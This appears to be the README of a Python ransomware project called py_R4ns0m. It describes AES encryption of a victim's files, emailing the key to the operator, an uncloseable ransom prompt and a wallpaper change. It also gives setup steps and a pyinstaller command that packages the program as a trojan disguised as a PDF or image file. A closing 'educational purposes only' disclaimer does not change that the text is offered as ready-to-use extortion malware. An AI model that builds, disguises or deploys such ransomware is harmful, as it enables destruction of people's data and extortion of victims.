Implementation of ransomware in python 3
- Python 3.7
- tkinter
The main goal of py_R4ns0m ransomware is to encrypt data of someones computer.
All the data will be encrypted with 256-bit AES CBC, so after encryption, the only reasonable way to get the data back is to contact with you.
There are several features, to make program better:
- Program will test if key you input (after encryption) is valid (to avoid situation where data is decrypted with wrong key -> this would screw up all the data)
- Report with key, hashing etc. will be sent to your email address
- If there are problems with internet connection, program will wait and try every 10 seconds to send email with report (to prevent key loss)
- After encryption, there will be GUI message prompted to victim
- Closing the GUI prompt is disabled (because this window is the only wawy to decrypt data, so it'll be better to not close this)
- Wallpaper of victims computer will be changed to frog.jpg file
- Length of key the victim input is validated
If you want to see ransomware in action, there is a working example provided in repo (remember to open it ONLY in safe environment for testing purposes (virtual machine etc.)). If you are going to compile program, just delete /working_example directory.
Ok, so after you set the program up with (in main dir):
$ python3 setup.py
ransomware is ready to go.
If you want program to behave like trojan, you can pack everything up with pyinstaller. Type:
pyinstaller ./ransom.py --add-data "<path to fake file (pdf, jpg)>;." --add-data "./img/frog.jpg;." --add-data "./user_data/user.json;." --onefile --noconsole --icon "<path to icon of fake file>"
in main dir. After that you'll have standalone ransomware, ready to launch.
Program created for educational purposes only! Encrypting someones hard drive without the permission is illegal, so I'm not taking the responsibility for possible losses.